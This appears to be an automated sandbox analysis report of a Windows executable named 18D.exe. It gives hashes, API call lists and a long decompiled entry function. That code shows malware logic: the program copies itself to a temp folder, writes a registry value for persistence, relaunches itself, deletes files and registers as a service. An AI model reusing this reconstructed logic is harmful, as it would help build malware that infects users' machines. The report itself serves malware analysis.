API ID: Exception@8Ios_base_dtorThrow__wcstombs_lstd::exception::exceptionstd::ios_base::_
String ID:
API String ID: 216078729-0
Opcode ID: db51481d8e0254b9247fa03381bfa6318b1afc3e80c4bd2f0fbb406ed4fdbd4f
Instruction ID: 6c90a586d5a5b9982c33abc5383c997f396f5e8ef0da64ef12e1b4411dc674b4
Opcode Fuzzy Hash: db51481d8e0254b9247fa03381bfa6318b1afc3e80c4bd2f0fbb406ed4fdbd4f
Instruction Fuzzy Hash: 95F0F6F2D0012866CB00AA65A845BCE77AC9B10354FA48257FC14A20D1CBB85654C6FE

Uniqueness

Uniqueness Score: -1.00%

Function 0041D8E5, Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041D8EA
std::_Mutex::_Mutex.LIBCPMTD ref: 0041D8FF

Part of subcall function 00420AD0: new.LIBCPMTD ref: 00420AEA

new.LIBCPMTD ref: 0041D917

Part of subcall function 00420180: __malloc_dbg.LIBCMTD ref: 0042019A
Part of subcall function 00420180: std::bad_alloc::bad_alloc.LIBCMTD ref: 004201C8
Part of subcall function 00420180: _atexit.LIBCMTD ref: 004201D2
Part of subcall function 00420180: __CxxThrowException@8.LIBCMTD ref: 004201F0

std::locale::locale.LIBCPMT ref: 0041D925

Part of subcall function 0041D277: std::locale::_Init.LIBCPMTD ref: 0041D27A
Part of subcall function 0041D277: std::locale::facet::_Incref.LIBCPMT ref: 0041D288

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Exception@8H_prologIncrefInitMutexMutex::_Throw__malloc_dbg_atexitstd::_std::bad_alloc::bad_allocstd::locale::_std::locale::facet::_std::locale::locale
String ID:
API String ID: 96588900-0
Opcode ID: 6e5aa7651f223c85440152df45ede64ff0ae8bc58a1ee3f70b9cfce84e78eb12
Instruction ID: 223aecbf5bd4f08f99c200cd9ab8f8de26fa249f2f459b9cf01718b463a8b873
Opcode Fuzzy Hash: 6e5aa7651f223c85440152df45ede64ff0ae8bc58a1ee3f70b9cfce84e78eb12
Instruction Fuzzy Hash: 6CF089F1F103209ADB146BB59942BBE72E49B04714F50495FB512E3682DBFC9940865D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 18D.exe PID: 4992 Parent PID: 3472 18D.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32 ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
